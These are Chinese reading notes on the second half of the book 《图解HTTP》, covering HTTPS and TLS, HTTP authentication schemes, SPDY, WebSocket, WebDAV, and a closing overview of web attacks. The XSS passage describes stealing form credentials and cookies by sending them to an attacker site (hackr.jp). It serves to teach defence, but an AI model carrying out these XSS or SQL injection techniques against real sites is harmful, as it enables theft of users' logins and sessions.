《图解HTTP》阅读笔记（下）

七、确保Web安全的HTTPS

HTTP的缺点

通信使用明文会被窃听

• 问题：TCP/IP是可能被窃听的网络

  无论哪个地方的服务器在和客户端在通信，都有可能在某个环节中遭到恶意窥视。即使通信过程加密了，通信内容也会被窥视到，只是说通过加密可以让人无法破解报文信息的含义。

  窃听相同段上的通信只需要收集在互联网上流动的数据包（帧）。对于收集来的数据包的解析工作，可交给那些抓包（Packet Capture）或嗅探器（Sniffer）工具。比如Wireshark工具。它可以获取HTTP协议的请求和响应的内容，并对其进行解析。

  

• 解决：加密处理防止被窃听

  1. 通信的加密

     HTTP协议中没有加密机制，但可以通过和SSL（Secure Socket Layer，安全套接层）或TLS（Transport Layer Security，安全传输层协议）的组合，加密HTTP的通信内容。用SSL建立安全通信线路之后，就可以在这条线路上进行HTTP通信。与SSL组合使用的HTTP被称为HTTPS（HTTP Secure，超文本传输安全协议）或HTTP overSSL。

     

  2. 内容的加密

     对HTTP协议传输的内容（报文内容）本身加密。为了做到有效的内容加密，前提是要求客户端和服务器同时具备加密和解密机制。客户端对HTTP报文加密处理后发送请求时，会由于该方式不同于SSL或TLS将整个通信线路加密处理，导致内容仍有被篡改的风险。

     

不验证通信方的身份会遭遇伪装

HTTP协议中的请求和响应不会对通信方进行确认。即存在“服务器是否就是发送请求中URI真正指定的主机“、”返回的响应是否真的返回到实际提出请求的客户端”等类似问题。

• 问题：任何人都可发起请求

  由于不存在确认通信方的处理步骤，任何人都可以发起请求。另外，服务器只要接收到请求，不管对方是谁都会返回一个响应（在发送端的IP地址和端口号没有被Web服务器设定限制访问的前提下）

  
  • 无法确定请求发送至目标的Web服务器是否是按真实意图返回响应的那台服务器。有可能是已伪装的Web服务器。
  • 无法确定响应返回到的客户端是否是按真实意图接收响应的那个客户端。有可能是已伪装的客户端。
  • 无法确定正在通信的对方是否具备访问权限。因为某些Web服务器上保存着重要的信息，只想发给特定用户通信的权限。
  • 无法判定请求是来自何方、出自谁手。
  • 即使是无意义的请求也会照单全收。无法阻止海量请求下的DoS攻击（Denial of Service，拒绝服务攻击）。

• 解决：查明对手的证书

  虽然使用HTTP协议无法确定通信方，但SSL可以。SSL不仅提供加密处理，而且还使用了一种被称为证书的手段，可用于确定方。

  证书由值得信任的第三方机构颁发，用以证明服务器和客户端是实际存在的。另外，伪造证书从技术角度来说是异常困难的一件事。所以只要能够确认通信方（服务器或客户端）持有的证书，即可判断通信方的真实意图。

无法证明报文完整性

所谓完整性是指信息的准确度。若无法证明其完整性，通常也就意味着无法判断信息是否准确。

• 问题：接收到的内容可能有误

  HTTP协议无法证明通信的报文完整性。在请求或响应送出之后直到对方接收之前的这段时间内，无法知道请求或响应的内容遭到篡改。

  

• 解决：防止篡改

  使用HTTP协议确定报文完整性的常用方法：MD5和SHA-1等散列值校验的方法，以及用来确认文件的数字签名方法。

  提供文件下载服务的Web网站也会提供相应的以PGP（Pretty Good Privacy，完美隐私）创建的数字签名及MD5算法生成的散列值。PGP是用来证明创建文件的数字签名，MD5是由单向函数生成的散列值。不论使用哪一种方法，都需要操纵客户端的用户本人亲自检查验证下载的文件是否就是原来服务器上的文件。浏览器无法自动帮用户检查。

  然而，用这些方法也依然无法百分百保证确认结果正确。因为PGP和MD5本身被改写的话，用户是没有办法意识到的。为了有效防止这些弊端，有必要使用HTTPS。SSL提供认证和加密处理及摘要功能。

HTTP+加密+认证+完整性保护=HTTPS

HTTPS的特点

总结HTTP存在的问题：

• 使用未经加密的明文时，如果通信线路被窃听，信息会暴露
• 无法确认通信方的
• 接收到的报文在通信途中可能遭到篡改

为了统一解决上述这些问题，需要在HTTP上再加入加密处理和认证等机制。这种添加了加密及认证机制的HTTP称为HTTPS（HTTP Secure）

经常会在Web的登录页面和购物结算界面等使用HTTPS通信。使用HTTPS通信时，不再用http://，而是改用https://。另外，当浏览器访问HTTPS通信有效的Web网站时，浏览器的地址栏内会出现一个带锁的标记：（对HTTPS的显示方式会因浏览器的不同而有所改变）

HTTPS是身披SSL外壳的HTTP

HTTPS并非是应用层的一种新协议。只是HTTP通信接口部分用SSL（SecureSocket Layer）和TLS（Transport Layer Security）协议代替而已。在采用SSL后，HTTP就拥有了HTTPS的加密、证书和完整性保护这些功能。

SSL是独立于HTTP的协议，所以不光是HTTP协议，其他运行在应用层的SMTP和Telnet等协议均可配合SSL协议使用。可以说SSL是当今世界上应用最为广泛的网络安全技术。

SSL的加密方法

SSL采用一种叫做公开密钥加密（Public-key cryptography）的加密处理方式。加密和解密都会用到密钥，没有密钥就无法对密码解密。

• 共享密钥（对称密钥）加密的困境

  加密和解密同用一个密钥的方式称为共享密钥加密（Common key cryptosystem），也被叫做对称密钥加密。

  • 怎样才能安全地转交？
  • 在互联网上转发密钥时，如果通信被监听到怎么办？
  • 又该如何安全地保管接收到的密钥呢？

• 公开密钥（非对称的）加密的好处

  公开密钥加密使用一对非对称的密钥。一把叫做私有密钥（private key），另一把叫做公开密钥（public key）。私有密钥不能让其他任何人知道，而公开密钥则可以随意发布，任何人都可以获得。发送密文的一方使用对方的公开密钥进行加密处理，接收方使用自己的私有密钥进行解密。这样就不需要发送用来解密的私有密钥，也不必担心密钥被攻击者窃听而盗走。

  

  要想根据密文和公开密钥恢复到信息原文是异常困难的，因为解密过程就是在对离散对数进行求值，这并非轻而易举就能办到。

• HTTPS采用混合加密机制

  HTTPS采用共享密钥加密和公开密钥加密两者并用的混合加密机制。

  

证明公开密钥正确性的证书

• 问题：公开密钥加密方式无法证明公开密钥本身就是货真价实的公开密钥。或许在公开密钥传输途中，真正的公开密钥已经被攻击者替换掉了。

• 解决：使用由数字证书认证机构（CA,Certificate Authority）和其相关机关颁发的公开密钥证书。

  数字证书认证机构处于客户端与服务器双方都可信赖的第三方机构的立场上。威瑞信（VeriSign）就是其中一家非常有名的数字证书认证机构。

• 申请证书：

  1. 服务器的运营人员向数字证书认证机构提出公开密钥的申请。
  2. 数字证书认证机构在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名
  3. 分配这个已签名的公开密钥，并将该公开密钥放入公钥证书后绑定在一起。

• 使用步骤：

  1. 服务器会将公钥证书（数字证书）发送给客户端
  2. 客户端使用数字证书认证机构的公开密钥，对证书上的数字签名进行验证

  验证通过则表明：认证服务器的公开密钥的是真实有效的数字证书认证机构；服务器的公开密钥是值得信赖的。

• 最后：认证机关的公开密钥如何安全地转交给客户端？所以，多数浏览器开发商发布版本时，会事先在内部植入常用认证机关的公开密钥。

有哪些证书？

1. 可证明组织真实性的EV SSL（Extended Validation SSL Certificate）证书

   • 证明作为通信一方的服务器是否规范
   • 确认对方服务器背后运营的企业是否真实存在

   EV SSL证书是基于国际标准的认证指导方针颁发的证书，严格规定了对运营组织是否真实的确认方针。持有EV SSL证书的Web网站的浏览器地址栏处的背景色是绿色的，而且在地址栏的左侧显示了SSL证书中记录的组织名称以及颁发证书的认证机构的名称。

2. 用以确认客户端的客户端证书

   可以证明服务器正在通信的对方始终是预料之内的客户端。但客户端证书仍存在几处问题点：

   问题一：用户只有自行安装客户端证书才能获取证书。客户端证书需要付费购买。

   现状是，安全性极高的认证机构可颁发客户端证书但仅用于特殊用途的业务。比如那些可支撑客户端证书支出费用的业务。例如，银行的网上银行就采用了客户端证书。在登录网银时不仅要求用户确认输入ID和密码，还会要求用户的客户端证书，以确认用户是否从特定的终端访问网银。

   问题二：客户端证书只能证明客户端实际存在，而不能用来证明用户本人的真实有效性。即只要在有客户端证书的计算机上使用，就同时拥有了客户端证书的使用权限

HTTPS的安全通信机制

步骤1： 客户端通过发送Client Hello报文开始SSL通信。报文中包含客户端支持的SSL的指定版本、加密组件（Cipher Suite）列表（所使用的加密算法及密钥长度等）。

步骤2： 服务器可进行SSL通信时，会以Server Hello报文作为应答。和客户端一样，在报文中包含SSL版本以及加密组件。服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的。

步骤3： 之后服务器发送Certificate报文。报文中包含公开密钥证书。

步骤4： 最后服务器发送Server Hello Done报文通知客户端，最初阶段的SSL握手协商部分结束。

步骤5: SSL第一次握手结束之后，客户端以Client Key Exchange报文作为回应。报文中包含通信加密中使用的一种被称为Pre-master secret的随机密码串。该报文已用步骤3中的公开密钥进行加密。

步骤6： 接着客户端继续发送Change Cipher Spec报文。该报文会提示服务器，在此报文之后的通信会采用Pre-master secret密钥加密。

步骤7： 客户端发送Finished报文。该报文包含连接至今全部报文的整体校验值。这次握手协商是否能够成功，要以服务器是否能够正确解密该报文作为判定标准。

步骤8： 服务器同样发送Change Cipher Spec报文。

步骤9： 服务器同样发送Finished报文。

步骤10： 服务器和客户端的Finished报文交换完毕之后，SSL连接就算建立完成。当然，通信会受到SSL的保护。从此处开始进行应用层协议的通信，即发送HTTP请求。

步骤11： 应用层协议通信，即发送HTTP响应。

步骤12： 最后由客户端断开连接。断开连接时，发送close_notify报文。上图做了一些省略，这步之后再发送TCP FIN报文来关闭与TCP的通信。

在以上流程中，应用层发送数据时会附加一种叫做MAC（MessageAuthentication Code）的报文摘要。MAC能够查知报文是否遭到篡改，从而保护报文的完整性。

SSL存在的问题

HTTPS使用SSL（Secure Socket Layer）和TLS（Transport Layer Security）这两个协议。

HTTPS也存在一些问题，那就是当使用SSL时，它的处理速度会变慢。SSL的慢分两种：

• 通信慢

  使用HTTP相比，网络负载可能会变慢2到100倍。除去和TCP连接、发送HTTP请求·响应以外，还必须进行SSL通信，因此整体上处理通信量不可避免会增加。

• 由于大量消耗CPU及内存等资源，导致处理速度变慢

  SSL必须进行加密处理。在服务器和客户端都需要进行加密和解密的运算处理。因此从结果上讲，比起HTTP会更多地消耗服务器和客户端的硬件资源，导致负载增强。（针对速度变慢这一问题，并没有根本性的解决方案，我们会使用SSL加速器这种（专用服务器）硬件来改善该问题。该硬件为SSL通信专用硬件，相对软件来讲，能够提高数倍SSL的计算速度。仅在SSL处理时发挥SSL加速器的功效，以分担负载。）

不一直使用HTTPS的原因

• 因为与纯文本通信相比，加密通信会消耗更多的CPU及内存资源。

  如果每次通信都加密，会消耗相当多的资源，平摊到一台计算机上时，能够处理的请求数量必定也会随之减少。因此，如果是非敏感信息则使用HTTP通信，只有在包含个人信息等敏感数据时，才利用HTTPS加密通信。特别是每当那些访问量较多的Web网站在进行加密处理时，它们所承担着的负载不容小觑。在进行加密处理时，并非对所有内容都进行加密处理，而是仅在那些需要信息隐藏时才会加密，以节约资源。

• 购买证书的开销。

  要进行HTTPS通信，证书是必不可少的。而使用的证书必须向认证机构（CA）购买。证书价格可能会根据不同的认证机构略有不同。通常，一年的授权需要数万日元（现在一万日元大约折合600人民币）。那些购买证书并不合算的服务以及一些个人网站，可能只会选择采用HTTP的通信方式。

八、确认访问用户身份的认证

引言

核对的信息通常是指以下这些：

• 密码：只有本人才会知道的字符串信息。
• 动态令牌：仅限本人持有的设备内显示的一次性密码。
• 数字证书：仅限本人（终端）持有的信息。
• 生物认证：指纹和虹膜等本人的生理信息。
• IC卡等：仅限本人持有的信息。

但是，即便对方是假冒的用户，只要能通过用户验证，那么计算机就会默认是出自本人的行为。因此，掌控机密信息的密码绝不能让他人得到，更不能轻易地就被破解出来。

---

HTTP/1.1使用的认证方式如下所示：

• BASIC认证（基本认证）

• DIGEST认证（摘要认证）

• SSL客户端认证

• FormBase认证（基于表单认证）

此外，还有Windows统一认证（Keberos认证、NTLM认证）

BASIC认证

HTTP/1.0定义的BASIC认证（基本认证）是Web服务器与通信客户端之间进行的认证方式。

步骤1： 当请求的资源需要BASIC认证时，服务器会随状态码401Authorization Required，返回带WWW-Authenticate首部字段的响应。该字段内包含认证的方式（BASIC）及Request-URI安全域字符串（realm）

步骤2： 接收到状态码401的客户端为了通过BASIC认证，需要将用户ID及密码发送给服务器。发送的字符串内容是由用户ID和密码构成，两者中间以冒号（:）连接后，再经过Base64编码处理。

假设用户ID为guest，密码是guest，连接起来就会形成guest:guest这样的字符串。然后经过Base64编码，最后的结果即是Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段Authorization后，发送请求。当用户代理为浏览器时，用户仅需输入用户ID和密码即可，之后，浏览器会自动完成到Base64编码的转换工作。

步骤3： 接收到包含首部字段Authorization请求的服务器，会对认证信息的正确性进行验证。如验证通过，则返回一条包含Request-URI资源的响应。

---

问题：BASIC认证虽然采用Base64编码方式，但这不是加密处理。不需要任何附加信息即可对其解码。换言之，由于明文解码后就是用户ID和密码，在HTTP等非加密通信的线路上进行BASIC认证的过程中，如果被人窃听，被盗的可能性极高。另外，除此之外想再进行一次BASIC认证时，一般的浏览器却无法实现认证注销操作，这也是问题之一。BASIC认证使用上不够便捷灵活，且达不到多数Web网站期望的安全性等级，因此它并不常用。

DIGEST认证

为弥补BASIC认证存在的弱点，从HTTP/1.1起就有了DIGEST认证。DIGEST认证同样使用质询/响应的方式（challenge/response），但不会像BASIC认证那样直接发送明文密码。

质询响应方式：一方会先发送认证要求给另一方，接着使用从另一方那接收到的质询码计算生成响应码。最后将响应码返回给对方进行认证。

步骤1： 请求需认证的资源时，服务器会随着状态码401 AuthorizationRequired，返回带WWW-Authenticate首部字段的响应。

首部字段WWW-Authenticate内必须包含realm和nonce这两个字段的信息；客户端依靠这两个值进行认证的；nonce是一种每次随返回的401响应生成的任意随机字符串

步骤2： 接收到401状态码的客户端，返回的响应中包含DIGEST认证必须的首部字段Authorization信息。

Authorization内必须包含username、realm、nonce、uri和response的字段信息。其中，realm和nonce就是之前从服务器接收到的响应中的字段；username是realm限定范围内可进行认证的用户名；uri（digest-uri）即Request-URI的值，但考虑到经代理转发后Request-URI的值可能被修改，因此事先会复制一份副本保存在uri内；response也可叫做Request-Digest，存放经过MD5运算后的密码字符串，形成响应码；另外，有关Request-Digest的计算规则较复杂，有兴趣的读者不妨深入学习一下RFC2617。

步骤3： 接收到包含首部字段Authorization请求的服务器，会确认认证信息的正确性。认证通过后则返回包含Request-URI资源的响应。

这时会在首部字段Authentication-Info写入一些认证成功的相关信息；DIGEST认证提供了高于BASIC认证的安全等级，但是和HTTPS的客户端认证相比仍旧很弱。DIGEST认证提供防止密码被窃听的保护机制，但并不存在防止用户伪装的保护机制；DIGEST认证和BASIC认证一样，使用上不那么便捷灵活，且仍达不到多数Web网站对高度安全等级的追求标准。因此它的适用范围也有所受限。

SSL客户端认证

从使用用户ID和密码的认证方式方面来讲，只要二者的内容正确，即可认证是本人的行为。但如果用户ID和密码被盗，就很有可能被第三者冒充。利用SSL客户端认证则可以避免该情况的发生。SSL客户端认证是借由HTTPS的客户端证书完成认证的方式。凭借客户端证书认证，服务器可确认访问是否来自已登录的客户端。

---

SSL客户端认证的认证步骤：

步骤1： 接收到需要认证资源的请求，服务器会发送Certificate Request报文，要求客户端提供客户端证书。

步骤2： 用户选择将发送的客户端证书后，客户端会把客户端证书信息以Client Certificate报文方式发送给服务器。

步骤3： 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥，然后开始HTTPS加密通信。

---

SSL客户端认证采用双因素认证

在多数情况下，SSL客户端认证不会仅依靠证书完成认证，一般会和基于表单认证组合形成一种双因素认证（Two-factor authentication）来使用。换言之，第一个认证因素的SSL客户端证书用来认证客户端计算机，另一个认证因素的密码则用来确定这是用户本人的行为。通过双因素认证后，就可以确认是用户本人正在使用匹配正确的计算机访问服务器。

---

SSL客户端认证必要的费用：

使用SSL客户端认证需要用到客户端证书。而客户端证书需要支付一定费用才能使用。这里提到的费用是指，从认证机构购买客户端证书的费用，以及服务器运营者为保证自己搭建的认证机构安全运营所产生的费用。每个认证机构颁发客户端证书的费用不尽相同，平摊到一张证书上，一年费用约几万至十几万日元。服务器运营者也可以自己搭建认证机构，但要维持安全运行就会产生相应的费用。

基于表单认证

基于表单的认证方法并不是在HTTP协议中定义的。客户端会向服务器上的Web应用程序发送登录信息（Credential），按登录信息的验证结果认证。安装完Web应用程序后，输入已事先登录的用户ID（通常是任意字符串或邮件地址）和密码等登录信息后，发送给Web应用程序，基于认证结果来决定认证是否成功。

---

认证多半为基于表单认证：

由于使用上的便利性及安全性问题，HTTP协议标准提供的BASIC认证和DIGEST认证几乎不怎么使用。另外，SSL客户端认证虽然具有高度的安全等级，但因为导入及维持费用等问题，还尚未普及。

比如SSH和FTP协议，服务器与客户端之间的认证是合乎标准规范的，并且满足了最基本的功能需求上的安全使用级别，因此这些协议的认证可以拿来直接使用。但是对于Web网站的认证功能，能够满足其安全使用级别的标准规范并不存在，所以只好使用由Web应用程序各自实现基于表单的认证方式。

不具备共同标准规范的表单认证，在每个Web网站上都会有各不相同的实现方式。如果是全面考虑过安全性能而实现的表单认证，那么就能够具备高度的安全等级。但在表单认证的实现中存在问题的Web网站也是屡见不鲜。

---

Session管理及Cookie应用：

基于表单认证的标准规范尚未有定论，一般会使用Cookie来管理Session（会话）。基于表单认证本身是通过服务器端的Web应用，将客户端发送过来的用户ID和密码与之前登录过的信息做匹配来进行认证的。

但鉴于HTTP是无状态协议，之前已认证成功的用户状态无法通过协议层面保存下来。即，无法实现状态管理，因此即使当该用户下一次继续访问，也无法区分他与其他的用户。于是我们会使用Cookie来管理Session，以弥补HTTP协议中不存在的状态管理功能。

步骤1： 客户端把用户ID和密码等登录信息放入报文的实体部分，通常是以POST方法把请求发送给服务器。而这时，会使用HTTPS通信来进行HTML表单画面的显示和用户输入数据的发送。

步骤2： 服务器会发放用以识别用户的Session ID。通过验证从客户端发送过来的登录信息进行身份认证，然后把用户的认证状态与Session ID绑定后记录在服务器端。

向客户端返回响应时，会在首部字段Set-Cookie内写入Session ID（如PHPSESSID=028a8c…）；你可以把Session ID想象成一种用以区分不同用户的等位号。然而，如果Session ID被第三方盗走，对方就可以伪装成你的身份进行恶意操作了。因此必须防止Session ID被盗，或被猜出。为了做到这点，Session ID应使用难以推测的字符串，且服务器端也需要进行有效期的管理，保证其安全性；另外，为减轻跨站脚本攻击（XSS）造成的损失，建议事先在Cookie内加上httponly属性。

步骤3： 客户端接收到从服务器端发来的Session ID后，会将其作为Cookie保存在本地。下次向服务器发送请求时，浏览器会自动发送Cookie，所以Session ID也随之发送到服务器。服务器端可通过验证接收到的Session ID识别用户和其认证状态。

通常，一种安全的保存方法是，先利用给密码加盐（salt）[插图]的方式增加额外信息，再使用散列（hash）函数计算出散列值后保存。但是我们也经常看到直接保存明文密码的做法，而这样的做法具有导致密码泄露的风险。

九、基于HTTP的功能追加协议

HTTP功能上的不足可通过创建一套全新的协议来弥补

HTTP的瓶颈

不方便实时地显示更新的内容。以下HTTP标准限制了这一问题的解决：

• 一条连接上只可发送一个请求。
• 请求只能从客户端开始。客户端不可以接收除响应以外的指令。
• 请求/响应首部未经压缩就发送。首部信息越多延迟越大。
• 发送冗长的首部。每次互相发送相同的首部造成的浪费较多。
• 可任意选择数据压缩格式。非强制压缩发送。

SPDY

设计

SPDY没有完全改写HTTP协议，而是在TCP/IP的应用层与传输层之间通过新加会话层的形式运作。考虑到安全性问题，SPDY规定通信中使用SSL。SPDY采用HTTP建立通信连接，控制对数据的流动。

功能

• 多路复用流：通过单一的TCP连接，可以无限制处理多个HTTP请求。
• 赋予请求优先级：SPDY不仅可以无限制地并发处理请求，还可以给请求逐个分配优先级顺序。
• 压缩HTTP首部：通信产生的数据包数量和发送的字节数就更少了。
• 推送功能：支持服务器主动向客户端推送数据的功能。
• 服务器提示功能：服务器可以主动提示客户端请求所需的资源。由于在客户端发现资源之前就可以获知资源的存在，因此在资源已缓存等情况下，可以避免发送不必要的请求。

局限

因为SPDY基本上只是将单个域名（IP地址）的通信多路复用，所以当一个Web网站上使用多个域名下的资源，改善效果就会受到限制。

WebSocket

设计

WebSocket，即Web浏览器与Web服务器之间全双工通信标准。WebSocket技术主要是为了解决Ajax和Comet里XMLHttpRequest附带的缺陷所引起的问题。

• 握手-请求：为了实现WebSocket通信，需要用到HTTP的Upgrade首部字段，告知服务器通信协议发生改变，以达到握手的目的。

  Sec-WebSocket-Key字段内记录着握手过程中必不可少的键值。

  Sec-WebSocket-Protocol字段内记录使用的子协议。子协议按WebSocket协议标准在连接分开使用时，定义那些连接的名称。

  

• 握手-响应：对于之前的请求，返回状态码101 Switching Protocols的响应。

  Sec-WebSocket-Accept的字段值是由握手请求中的Sec-WebSocket-Key的字段值生成的。成功握手确立WebSocket连接之后，通信时不再使用HTTP的数据帧，而采用WebSocket独立的数据帧。

  

  

一旦Web服务器与客户端之间建立起WebSocket协议的通信连接，之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。由于是建立在HTTP基础上的协议，因此连接的发起方仍是客户端。而一旦确立WebSocket通信连接，不论服务器还是客户端，任意一方都可直接向对方发送报文。

功能

• 推送功能：支持由服务器向客户端推送数据的推送功能。

• 减少通信量：只要建立起WebSocket连接，就希望一直保持连接状态。和HTTP相比，不但每次连接时的总开销减少，而且由于WebSocket的首部信息很小，通信量也相应减少了。

实例

以下为调用WebSocket API，每50ms发送一次数据的实例。

HTTP/2.0

HTTP/2.0的目标是改善用户在使用Web时的速度体验。但由于基本上都会先通过HTTP/1.1与TCP连接，现在以下面的协议为基础，探讨一下它们的实现方法：

• SPDY
• HTTP Speed+Mobility：用于改善并提高移动端通信时的通信速度和性能的标准。建立在Google公司提出的SPDY与WebSocket的基础之上。
• Network-Friendly HTTP Upgrade：在移动端通信时改善HTTP性能的标准。

HTTP/2.0的7项技术及讨论

WebDAV

WebDAV是一个可对Web服务器上的内容直接进行文件复制、编辑等操作的分布式文件系统。全称为Web-based Distributed Authoring and Versioning，基于万维网的分布式创作和版本控制。它可以：

• 创建、删除文件

• 管理文件创建者

• 文件编辑过程中禁止其他用户内容覆盖的加锁

• 对文件内容修改的版本控制

使用HTTP/1.1的PUT方法和DELETE方法，就可以对Web服务器上的文件进行创建和删除操作。但出于安全性及便捷性等考虑，不使用。

扩展

WebDAV扩展了HTTP/1.1。针对服务器上的资源，WebDAV新增加了一些概念

• 集合（Colection）：是一种统一管理多个资源的概念。以集合为单位可进行各种操作。也可实现类似集合的集合这样的叠加
• 资源（Resource）：把文件或集合称为资源。
• 属性（Property）：定义资源的属性。定义以“名称=值”的格式执行。
• 锁（Lock）：把文件设置成无法编辑状态。多人同时编辑时，可防止在同一时间进行内容写入。

---

新增方法

• PROPFIND：获取属性
• PROPPATCH：修改属性
• MKCOL：创建集合
• COPY：复制资源及属性
• MOVE：移动资源
• LOCK：资源加锁
• UNLOCK：资源解锁

---

新增状态码

• 102 Processing：可正常处理请求，但目前是处理中状态
• 207 Multi-Status：存在多种状态
• 422 Unprocessible Entity：格式正确，内容有误
• 423 Locked：资源已被加锁
• 424 Failed Dependency：处理与某请求关联的请求失败，因此不再维持依赖关系
• 507 Insufficient Storage：保存空间不足

---

WebDAV的请求实例

使用PROPFIND方法对http://www.example.com/file发起获取属性的请求

针对之前的PROPFIND方法，返回http://www.example.com/file的属性的响应

---

为何HTTP协议受众广泛

这与企业或组织的防火墙设定有着莫大的关系，防火墙的基本功能就是禁止非指定的协议和端口号的数据包通过。因此如果使用新协议或端口号则必须修改防火墙设置。

互联网上，使用率最高的当属Web。不管是否具备访问FTP和SSH的权限，一般公司都会开放对Web的访问。Web是基于HTTP协议运作的，因此在构建Web服务器或访问Web站点时，需事先设置防火墙HTTP（80/tcp）和HTTPS（443/tcp）的权限。

许多公司或组织已设定权限将HTTP作为通信环境，因此无须再修改防火墙的设定。可见HTTP具有导入简单这一大优势。而这也是基于HTTP服务或内容不断增加的原因之一。

十、构建web内容的技术

Web应用

Web应用是指通过Web功能提供的应用程序。比如购物网站、网上银行、SNS、BBS、搜索引擎和e-learning等。原本应用HTTP协议的Web的机制就是对客户端发来的请求，返回事前准备好的内容。可随着Web越来越普及，仅靠这样的做法已不足以应对所有的需求，更需要引入由程序创建HTML内容的做法。

由程序创建的内容称为动态内容，而事先准备好的内容称为静态内容。Web应用则作用于动态内容之上：

与Web服务器及程序协作的CGI

CGI是指Web服务器在接收到客户端发送过来的请求后转发给程序的一组机制（全称Common Gateway Interface，通用网关接口）。在CGI的作用下，程序会对请求内容做出相应的动作，比如创建HTML等动态内容。

使用CGI的程序叫做CGI程序，通常是用Perl、PHP、Ruby和C等编程语言编写而成。

---

因Java而普及的Servlet

Servlet是一种能在服务器上创建动态内容的程序。Servlet是用Java语言实现的一个接口。

CGI由于每次接到请求，程序都要跟着启动一次。因此一旦访问量过大，Web服务器要承担相当大的负载。而Servlet运行在与Web服务器相同的进程中，因此受到的负载较小：

Servlet的运行环境叫做Web容器或Servlet容器。

数据发布的格式及语言

• XML（eXtensible Markup Language，可扩展标记语言）

• 发布更新信息的RSS/Atom：RSS（简易信息聚合，也叫聚合内容）和Atom都是发布新闻或博客日志等更新信息文档的格式的总称。两者都用到了XML

  RSS有以下版本，名称和编写方式也不相同:

  • RSS 0.9（RDF Site Summary）：最初的RSS版本。1999年3月由网景通信公司自行开发用于其门户网站。基础构图创建在初期的RDF规格上。
  • RSS 0.91（Rich Site Summary）：在RSS0.9的基础上扩展元素，于1999年7月开发完毕。非RDF规格，使用XML方式编写。
  • RSS 1.0（RDF Site Summary）:RSS规格正处于混乱状态。2000年12月由RSS-DEV工作组再次采用RSS0.9中使用的RDF规格发布。
  • RSS2.0（Really Simple Syndication）：非RSS1.0发展路线。增加支持RSS0.91的兼容性，2000年12月由UserLand Software公司开发完成。

  Atom具有以下两种标准：

  • Atom供稿格式（Atom Syndication Format）：为发布内容而制定的网站消息来源格式，单讲Atom时，就是指此标准。
  • Atom出版协定（Atom Publishing Protocol）：为Web上内容的新增或修改而制定的协议。

  用于订阅博客更新信息的RSS阅读器，这种应用几乎支持RSS的所有版本以及Atom。下面是RSS1.0的示例：

  

• JSON

十一、Web的攻击技术

概述

简单的HTTP协议本身并不存在安全性问题，因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标。目前，来自互联网的攻击大多是冲着Web站点来的，它们大多把Web应用作为攻击目标。

几乎现今所有的Web网站都会使用会话（session）管理、加密处理等安全性方面的功能，而HTTP协议内并不具备这些功能。

在Web应用中，从浏览器那接收到的HTTP请求的全部内容，都可以在客户端自由地变更、篡改。在HTTP请求报文内加载攻击代码，就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入，若这时Web应用存在安全漏洞，那内部信息就会遭到窃取，或被攻击者拿到管理权限。

Web应用的攻击模式

主动攻击

以服务器为目标的主动攻击指攻击者通过直接访问Web应用，把攻击代码传入的攻击模式。攻击者是在访问到那些资源的前提上，针对服务器上的资源进行攻击。主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击：

被动攻击

以服务器为目标的被动攻击指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中，攻击者不直接对目标Web应用访问发起攻击。具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。被动攻击通常的攻击模式如下所示：

利用用户的身份攻击企业内部网络

很多企业内网依然可以连接到互联网上，访问Web网站，或接收互联网发来的邮件。这样就可能给攻击者以可乘之机，诱导用户触发陷阱后对企业内网发动攻击。

Web应用的安全对策

客户端的验证

多数情况下采用JavaScript。可是在客户端允许篡改数据或关闭JavaScript，所以这并不适合作为安全对策。保留客户端验证只是为了尽早地辨识输入错误，起到提高UI体验的作用。

Web应用端(服务器端)的验证

• 输入值验证：在Web应用上进行输入值验证时，输入值可能被误认为是具有攻击性意义的代码。输入值验证通常是：检查是否是符合系统业务逻辑的数值、检查字符编码等
• 输出值转义：从数据库或文件系统、HTML、邮件等输出Web应用处理的数据的时候，对输出值进行转义处理是一种重要的安全策略。这是因为，当输出值转义不完全时，可能会触发攻击者传入的攻击代码，从而给输出对象带来损害。

因输出值转义不完全引发的安全漏洞

XSS攻击

跨站脚本攻击（Cross-Site Scripting,XSS）是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能隐藏着安全漏洞。XSS是攻击者利用预先设置的陷阱触发的被动攻击，它可以：

• 利用虚假输入表单骗取用户个人信息

  例子：

  下图网站通过地址栏中URI，在这个地方，可能隐藏着可执行跨站脚本攻击的漏洞。

  

  充分熟知此处漏洞特点的攻击者，会创建了下面这个嵌入恶意代码的URL。并植入事先准备好的欺诈邮件中或Web页面内，诱使用户去点击该URL

  

  浏览器打开该URI后，直观感觉没有发生任何变化，但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后，就会直接发送到攻击者的网站（也就是hackr.jp），导致个人登录信息被窃取。之后，ID及密码会传给该正规网站，而接下来仍然是按正常登录步骤，用户很难意识到自己的登录信息已遭泄露。

  

• 利用脚本窃取用户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求

  例子：

  该脚本内指定的http://hackr.jp/xss.js文件：

  

  在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序，即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站（http://hackr.jp/），记录在他的登录日志中。

  

• 显示伪造的文章或图片。

SQL注入攻击

什么是SQL：

SQL是用来操作关系型数据库管理系统（Relational DataBase ManagementSystem,RDBMS）的数据库语言，可进行操作数据或定义数据等。RDBMS中有名的数据库有Oracle Database、Microsoft SQL Server、IBM DB2、MySQL和PostgreSQL等。

SQL注入（SQL Injection）是指针对Web应用使用的数据库，通过运行非法的SQL而产生的攻击。Web应用通常都会用到数据库，当需要对数据库表内的数据进行检索或添加、删除等操作时，会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏，就有可能执行被恶意注入（Injection）非法SQL语句。它可以：

• 非法查看或篡改数据库内的数据
• 规避认证
• 执行和数据库服务器业务关联的程序等

